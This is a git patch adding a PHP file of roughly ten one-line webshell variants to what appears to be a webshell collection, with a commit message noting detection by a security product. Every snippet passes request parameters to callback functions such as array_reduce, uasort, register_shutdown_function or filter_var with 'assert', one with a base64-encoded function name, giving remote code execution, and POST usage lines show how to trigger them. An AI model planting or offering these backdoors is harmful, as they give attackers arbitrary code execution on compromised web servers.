From 0d1874b235272c298db785c86b4fc1d5a112d39d Mon Sep 17 00:00:00 2001
From: tennc <670357+tennc@users.noreply.github.com>
Date: Thu, 20 Aug 2020 13:07:32 +0800
Subject: [PATCH] Create 2020.08.20.17.php

killed by safedog
from : https://www.sqlsec.com/2020/07/shell.html
---
 php/2020.08.20.17.php | 62 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 62 insertions(+)
 create mode 100644 php/2020.08.20.17.php

diff --git a/php/2020.08.20.17.php b/php/2020.08.20.17.php
new file mode 100644
index 0000000..5980136
--- /dev/null
+++ b/php/2020.08.20.17.php
@@ -0,0 +1,62 @@
+<?php
+    $e = $_REQUEST['e'];
+    $arr = array(1);
+    array_reduce($arr, $e, $_POST['x']);
+?>
+
+post: e=assert&x=phpinfo();
+
+<?php
+    $e = $_REQUEST['e'];
+    $arr = array($_POST['x']);
+    $arr2 = array(1);
+    array_udiff($arr, $arr2, $e);
+?>
+
+post: e=assert&x=phpinfo();
+
+<?php
+    $e = $_REQUEST['e'];
+    $arr = array('test', $_REQUEST['x']);
+    uasort($arr, base64_decode($e));
+?>
+
+post: e=YXNzZXJ0&x=phpinfo();
+
+<?php
+   $arr = new ArrayObject(array('test', $_REQUEST['x']));
+   $arr->uasort('assert');
+?>
+
+<?php
+    $e = $_REQUEST['e'];
+    $arr = array('test' => 1, $_REQUEST['x'] => 2);
+    uksort($arr, $e);
+?>
+
+post: e=assert&x=phpinfo();
+
+<?php
+   $arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));
+   $arr->uksort('assert');
+?>
+
+<?php
+    $e = $_REQUEST['e'];
+    register_shutdown_function($e, $_REQUEST['x']);
+?>
+
+<?php
+    $e = $_REQUEST['e'];
+    declare(ticks=1);
+    register_tick_function ($e, $_REQUEST['x']);
+?>
+
+<?php
+    filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert'));
+?>
+
+<?php
+    filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
+?>
+